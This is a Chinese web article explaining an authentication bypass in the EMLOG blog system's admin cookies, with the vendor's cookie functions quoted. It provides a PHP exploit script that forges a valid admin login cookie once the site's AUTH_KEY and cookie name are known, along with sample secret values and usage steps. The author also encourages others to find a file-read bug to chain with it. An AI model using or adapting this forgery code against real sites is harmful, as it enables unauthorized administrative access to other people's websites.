頻道欄目
首頁 > 資訊 > 網站安全 > 正文

EMLOG后臺COOKIE欺騙(雞肋)

12-10-27        來源:[db:作者]  
收藏   我要投稿
首先這應該算不上什么漏洞吧,說他是一個BUG更為貼切,放出來大家看看。因為利用起來比較雞肋,必須在得到程序的AUTH_KEY以及AUTH_COOKIE_NAME的值后才可利用,而這兩個東西都是安裝的時候隨機生成的,存放在config.php里面,不過雞肋不代表沒有危害,在得到以上兩個值以后,只要對方不重裝,即可隨意進后臺~~~~ 相信以前discuz 7.x的uckey寫馬玩的爽的人也不少!
來看看emlog的cookie驗證關鍵代碼:
PHP代碼
/** 
 * 生成登錄驗證cookie 
 * 
 * @param int $user_id user login 
 * @param int $expiration Cookie expiration in seconds 
 * @return string Authentication cookie contents 
 */  
function generateAuthCookie($user_login, $expiration)  
{  
    $key = emHash($user_login . '|' . $expiration);  
    $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);  
    $cookie = $user_login . '|' . $expiration . '|' . $hash;  
    return $cookie;  
}  
PHP代碼
/** 
 * Get hash of given string. 
 * 
 * @param string $data Plain text to hash 
 * @return string Hash of $data 
 */  
function emHash($data)  
{  
    $key = AUTH_KEY; //將AUTH_KEY賦值給$key  
    return hash_hmac('md5', $data, $key); //用HMAC模式生成一個包含密鑰的Hash值  這里加密方式為md5 key為config文件中的AUTH_KEY 加密內容為 $username|$expiration  
}  
 
所以作者只是在那不停的的加密加密再加密,但是卻2逼的不把用戶名和密碼入庫查詢,so。。。
最后再看下setAuthCookie函數就能構造出cookie的值了:
PHP代碼
/** 
 * 寫用于登錄驗證cookie 
 * 
 * @param int $user_id User ID 
 * @param bool $remember Whether to remember the user or not 
 */  
function setAuthCookie($user_login, $ispersis = false)  
{  
    if ( $ispersis )  
    {  
        $expiration  = time() + 60 * 60 * 24 * 30 * 12;  
    } else {  
        $expiration = null;  
    }  
    $auth_cookie_name = AUTH_COOKIE_NAME;  
    $auth_cookie = generateAuthCookie($user_login, $expiration);  
    setcookie($auth_cookie_name, $auth_cookie, $expiration,'/');  
}  
 
看上面代碼可以知道此cookie是完全可以算出來的,廢話不多說,cookie值生成exp:
PHP代碼
< ?php  
$time=time() + 60 * 60 * 24 * 30 * 12;  
$key = hash_hmac('md5',  'admin|' . $time, 'X6GWWug3mdlkIdMwXcp9%j6#F6vrVR5gabb8ee9df7b6e17fbb57f67c38296f02'); //這個是key,admin為要欺騙的管理名   www.kaosanakqu.com
$hash=hash_hmac('md5',  'admin|' . $time, $key); //admin為要欺騙的管理名  
$cookie='admin|' . $time."|".$hash; //admin為要欺騙的管理名  
echo $cookie;  
setcookie("EM_AUTHCOOKIE_ZrMieHk3O56bPNzXjFW4PjuDXMxBUPKk",$cookie); //這個是cookiename  
?>  
 
最后來演示下利用方法吧:
 
然后在config.php文件中找到AUTH_KEY的值以及AUTH_COOKIE_NAME的值,這里我的值為:
PHP代碼
//auth key  
define('AUTH_KEY','X6GWWug3mdlkIdMwXcp9%j6#F6vrVR5gabb8ee9df7b6e17fbb57f67c38296f02');  
//cookie name  
define('AUTH_COOKIE_NAME','EM_AUTHCOOKIE_ZrMieHk3O56bPNzXjFW4PjuDXMxBUPKk');  
 
so。替換exp中的相關內容,我的管理名是默認admin,所以這里就不改管理名了~~
執行后刷新后臺即可:
 
 


沒什么技術含量,我也是小菜鳥一枚,不過emlog的確是小巧,看過去看過來也那幾句代碼,有能力的大牛們去挖個讀文件或者任意下載的洞吧~~配合這個就能秒殺了
相關TAG標簽
上一篇:臺積電:絕大多數7nm客戶都會轉向6nm_IT新聞_博客園
下一篇:最后一頁
相關文章
圖文推薦

關于我們 | 聯系我們 | 廣告服務 | 投資合作 | 版權申明 | 在線幫助 | 網站地圖 | 作品發布 | Vip技術培訓 | 舉報中心

版權所有: 紅黑聯盟--致力于做實用的IT技術學習網站

美女MM131爽爽爽毛片